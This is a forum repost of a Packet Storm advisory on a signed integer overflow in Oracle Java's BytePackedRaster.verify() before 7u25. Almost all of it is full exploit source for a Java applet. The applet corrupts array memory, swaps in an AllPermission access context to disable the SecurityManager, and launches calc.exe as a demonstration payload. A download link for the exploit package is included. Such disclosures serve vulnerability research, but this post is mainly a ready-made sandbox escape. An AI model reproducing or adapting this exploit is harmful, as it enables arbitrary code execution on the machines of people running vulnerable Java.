Jump to content
Nytro

Packet Storm Exploit 2013-0819-1 - Oracle Java BytePackedRaster.verify() Signed Integ

Recommended Posts

Posted

Packet Storm Exploit 2013-0819-1 - Oracle Java BytePackedRaster.verify() Signed Integer Overflow

Site packetstormsecurity.com

The BytePackedRaster.verify() method in Oracle Java versions prior to 7u25 is vulnerable to a signed integer overflow that allows bypassing of "dataBitOffset" boundary checks. This exploit code demonstrates remote code execution by popping calc.exe. It was obtained through the Packet Storm Bug Bounty program.

import java.awt.CompositeContext;

import java.awt.image.*;

import java.awt.color.*;

import java.beans.Statement;

import java.security.*;

public class MyJApplet extends javax.swing.JApplet {

/**

* Initializes the applet myJApplet

*/

@Override

public void init() {

/* Set the Nimbus look and feel */

//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">

/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.

* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html

*/

try {

for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {

if ("Nimbus".equals(info.getName())) {

javax.swing.UIManager.setLookAndFeel(info.getClassName());

break;

}

}

} catch (ClassNotFoundException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (InstantiationException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (IllegalAccessException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (javax.swing.UnsupportedLookAndFeelException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

}

//</editor-fold>

/* Create and display the applet */

try {

java.awt.EventQueue.invokeAndWait(new Runnable() {

public void run() {

initComponents();

// print environment info

logAdd(

"JRE: " + System.getProperty("java.vendor") + " " + System.getProperty("java.version") +

"\nJVM: " + System.getProperty("java.vm.vendor") + " " + System.getProperty("java.vm.version") +

"\nJava Plug-in: " + System.getProperty("javaplugin.version") +

"\nOS: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " (" + System.getProperty("os.version") + ")"

);

}

});

} catch (Exception ex) {

ex.printStackTrace();

}

}

public void logAdd(String str)

{

txtArea.setText(txtArea.getText() + str + "\n");

}

public void logAdd(Object o, String... str)

{

logAdd((str.length > 0 ? str[0]:"") + (o == null ? "null" : o.toString()));

}

public String errToStr(Throwable t)

{

String str = "Error: " + t.toString();

StackTraceElement[] ste = t.getStackTrace();

for(int i=0; i < ste.length; i++) {

str += "\n\t" + ste.toString();

}

t = t.getCause();

if (t != null) str += "\nCaused by: " + errToStr(t);

return str;

}

public void logError(Exception ex)

{

logAdd(errToStr(ex));

}

public static String toHex(int i)

{

return Integer.toHexString(i);

}

/**

* This method is called from within the init() method to initialize the

* form. WARNING: Do NOT modify this code. The content of this method is

* always regenerated by the Form Editor.

*/

@SuppressWarnings("unchecked")

// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents

private void initComponents() {

btnStart = new javax.swing.JButton();

jScrollPane2 = new javax.swing.JScrollPane();

txtArea = new javax.swing.JTextArea();

btnStart.setText("Run calculator");

btnStart.addMouseListener(new java.awt.event.MouseAdapter() {

public void mousePressed(java.awt.event.MouseEvent evt) {

btnStartMousePressed(evt);

}

});

txtArea.setEditable(false);

txtArea.setColumns(20);

txtArea.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N

txtArea.setRows(5);

txtArea.setTabSize(4);

jScrollPane2.setViewportView(txtArea);

javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());

getContentPane().setLayout(layout);

layout.setHorizontalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(layout.createSequentialGroup()

.addContainerGap()

.addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 580, Short.MAX_VALUE)

.addContainerGap())

.addGroup(layout.createSequentialGroup()

.addGap(242, 242, 242)

.addComponent(btnStart, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE)

.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))

);

layout.setVerticalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()

.addContainerGap()

.addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 344, Short.MAX_VALUE)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(btnStart)

.addContainerGap())

);

}// </editor-fold>//GEN-END:initComponents

private boolean _isMac = System.getProperty("os.name","").contains("Mac");

private boolean _is64 = System.getProperty("os.arch","").contains("64");

private int tryExpl()

{

try {

// alloc aux vars

String name = "setSecurityManager";

Object[] o1 = new Object[1];

Object o2 = new Statement(System.class, name, o1); // make a dummy call for init

// allocate byte buffer for destination Raster

DataBufferByte dst = new DataBufferByte(9);

// allocate the target array right after dst[]

int[] a = new int[8];

// allocate an object array right after a[]

Object[] oo = new Object[7];

// create Statement with the restricted AccessControlContext

oo[2] = new Statement(System.class, name, o1);

// create powerful AccessControlContext

Permissions ps = new Permissions();

ps.add(new AllPermission());

oo[3] = new AccessControlContext(

new ProtectionDomain[]{

new ProtectionDomain(

new CodeSource(

new java.net.URL("file:///"),

new java.security.cert.Certificate[0]

),

ps

)

}

);

// store System.class pointer in oo[]

oo[4] = ((Statement)oo[2]).getTarget();

// save old a.length

int oldLen = a.length;

logAdd("a.length = 0x" + toHex(oldLen));

// prepare source buffer

DataBufferByte src = new DataBufferByte(8);

for(int i=0; i<8; i++) src.setElem(i,-1);

// create normal source raster

MultiPixelPackedSampleModel sm1 = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4,0);

WritableRaster wr1 = Raster.createWritableRaster(sm1, src, null);

// create MultiPixelPackedSampleModel with malformed "scanlineStride" and "dataBitOffset" fields

MultiPixelPackedSampleModel sm2 = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE,

4,2,1, 0x3fffffdd - (_is64 ? 16:0), 288 + (_is64 ? 128:0));

// create destination BytePackedRaster basing on sm2

WritableRaster wr2 = Raster.createWritableRaster(sm2, dst, null);

logAdd(wr2);

// create sun.java2d.SunCompositeContext

byte[] bb = new byte[] { 0, -1 };

IndexColorModel cm = new IndexColorModel(1, 2, bb, bb, bb);

CompositeContext cc = java.awt.AlphaComposite.Src.createContext(cm, cm, null);

logAdd(cc);

// call native Java_sun_awt_image_BufImgSurfaceData_initRaster() (see ...\jdk\src\share\native\sun\awt\image\BufImgSurfaceData.c)

// and native Java_sun_java2d_loops_Blit_Blit() (see ...\jdk\src\share\native\sun\java2d\loops\Blit.c)

cc.compose(wr1, wr2, wr2);

// check results: a.length should be overwritten by 0xF8

int len = a.length;

logAdd("a.length = 0x" + toHex(len));

if (len == oldLen) {

// check a[] content corruption // for RnD

for(int i=0; i < len; i++) if (a != 0) logAdd("a["+i+"] = 0x" + toHex(a));

// exit

logAdd("error 1"); return 1;

}

// ok, now we can read/write outside the real a[] storage,

// lets find our Statement object and replace its private "acc" field value

// search for oo[] after a[oldLen]

boolean found = false;

int ooLen = oo.length;

for(int i=oldLen+2; i < oldLen+32; i++)

if (a[i-1]==ooLen && a==0 && a[i+1]==0 // oo[0]==null && oo[1]==null

&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null

&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null

{

// read pointer from oo[4]

int stmTrg = a[i+4];

// search for the Statement.target field behind oo[]

for(int j=i+7; j < i+7+64; j++){

if (a[j] == stmTrg) {

// overwrite default Statement.acc by oo[3] ("AllPermission")

a[j-1] = a[i+3];

found = true;

break;

}

}

if (found) break;

}

// check results

if (!found) {

// print the memory dump on error // for RnD

String s = "a["+oldLen+"...] = ";

for(int i=oldLen; i < oldLen+32; i++) s += toHex(a) + ",";

logAdd(s);

} else try {

// show current SecurityManager

logAdd(System.getSecurityManager(), "Security Manager = ");

// call System.setSecurityManager(null)

((Statement)oo[2]).execute();

// show results: SecurityManager should be null

logAdd(System.getSecurityManager(), "Security Manager = ");

} catch (Exception ex) {

logError(ex);

}

logAdd(System.getSecurityManager() == null ? "Ok.":"Fail.");

} catch (Exception ex) {

logError(ex);

}

return 0;

}

private void btnStartMousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_btnStartMousePressed

try {

logAdd("===== Start =====");

// try several attempts to exploit

for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){

logAdd("Attempt #" + i);

tryExpl();

}

// check results

if (System.getSecurityManager() == null) {

// execute payload

Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");

}

logAdd("===== End =====");

} catch (Exception ex) {

logError(ex);

}

}//GEN-LAST:event_btnStartMousePressed

// Variables declaration - do not modify//GEN-BEGIN:variables

private javax.swing.JButton btnStart;

private javax.swing.JScrollPane jScrollPane2;

private javax.swing.JTextArea txtArea;

// End of variables declaration//GEN-END:variables

}

Download:

http://packetstormsecurity.com/files/download/122865/PSA-2013-0819-1-exploit.tgz

Sursa: Packet Storm Exploit 2013-0819-1 - Oracle Java BytePackedRaster.verify() Signed Integer Overflow ? Packet Storm

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...